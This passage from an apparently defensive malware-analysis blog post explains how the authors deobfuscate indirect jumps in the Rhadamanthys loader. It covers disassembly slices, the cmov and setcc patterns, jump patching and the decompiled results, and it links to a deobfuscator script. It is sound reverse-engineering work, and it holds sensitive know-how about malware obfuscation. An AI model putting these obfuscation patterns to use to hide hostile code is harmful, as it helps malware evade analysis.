&lt;p&gt;On the main path, we pretend the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; executed its move (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edi&lt;/code&gt; is used), while the secondary slice represents what happens if it doesn’t move (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt; is used).&lt;/p&gt;

&lt;p&gt;In the examples above, the first element of the slices is the one of interest (i.e., the offset we need to dereference for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, [eax]&lt;/code&gt;).
This holds true in about 95% of the cases, but sometimes there are other instructions, e.g., there could be a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;esi&lt;/code&gt;, since that register is also part of the overall computation.
It might thus be beneficial to get another sub-slice starting at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, [eax]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note how we have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; here again in the last slice rather than an address, so we need to apply the lookup trick described in the previous section.&lt;/p&gt;

&lt;p&gt;Lastly, there is this pattern:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE26&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xor&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE28&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;13B0D3B2h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE2E&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;setz&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE31&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;shl&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE34&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B650&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE3A&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE3C&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;Slices:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;setz&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;shl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B650&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The compiler probably emits this instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; when the two addresses can be represented using such a set-condition-code-and-shift pattern.
The dereferenced address is either 0x48B650 (zero flag not set) or 0x48B690 (zero flag set → &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&amp;lt;&amp;lt;6 == 0x40&lt;/code&gt; is added).&lt;/p&gt;

&lt;p&gt;You may be wondering what all the jump instructions are doing in the slices.
They’re included for pure convenience, because as it happens, the set union of all slices represents all instructions that can be safely overwritten when we patch things up.&lt;/p&gt;

&lt;p&gt;The patches themselves are pretty straight-forward.
We assemble a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt;, where the condition code is either taken from an existing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt;, from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmovcc&lt;/code&gt;, or from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setcc&lt;/code&gt;.
The jump destinations are computed from the values we obtained from our data slices and from the function prologue (for the key register and any other random registers).&lt;/p&gt;

&lt;p&gt;While the instructions that we overwrite generally provide enough space in total, they’re not always coherent.
There may be unrelated instructions in between them.
In such cases, some careful shuffling needs to be done in order to consolidate the “free space” by moving legit instructions out of the way.&lt;/p&gt;

&lt;p&gt;The jump deobfuscation logic can be found in &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_jumps.py&quot;&gt;deob_jumps.py&lt;/a&gt;, with some utility code for instruction shifting and rewriting being in &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_util.py&quot;&gt;deob_util.py&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;results-thus-far&quot;&gt;Results thus far&lt;/h3&gt;

&lt;p&gt;Functions now have visible control flow and can be decompiled!
It’s still not exactly pretty, but definitely progress compared to before.
We can work with this.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;                  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2025505611&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2025505611&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;TranslateMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;DispatchMessageA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_48B77C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1113969622&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                      &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_132&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1949251370&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dword_48ADFC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1222248860&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;215978185&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;err&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1834411218&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1920510847&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1920510847&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                      &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_48B77C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1750707187&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or, if you’re a graphical person:&lt;/p&gt;
&lt;figure id=&quot;rhada_cff_cfg&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/11/rhada_cff_cfg.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/11/rhada_cff_cfg.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/11/rhada_cff_cfg.png&quot; alt=&quot;Control flow graph for loader main function&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/11/rhada_cff_cfg.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/11/rhada_cff_cfg.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/11/rhada_cff_cfg.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Control flow graph for loader main function (0x40A560).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h4 id=&quot;very-small-functions-are-problematic&quot;&gt;(Very) small functions are problematic&lt;/h4&gt;

&lt;p&gt;The compiler apparently finds small functions “manageable” in terms of their optimization potential.
It precomputes lots of stuff belonging to the obfuscation, merges blocks, and so on.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FE8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xor&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FEA&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xor&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FEC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;15BEFF06h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FF1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;setl&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;dl&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FF4&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;setnz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FF7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0Bh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FFA&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415001&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0E18D1F3Ch&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415006&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0Dh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041500&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415010&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415013&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;14h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then later on you get:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415048&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;10h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415050&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415050&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48CC00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415057&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;
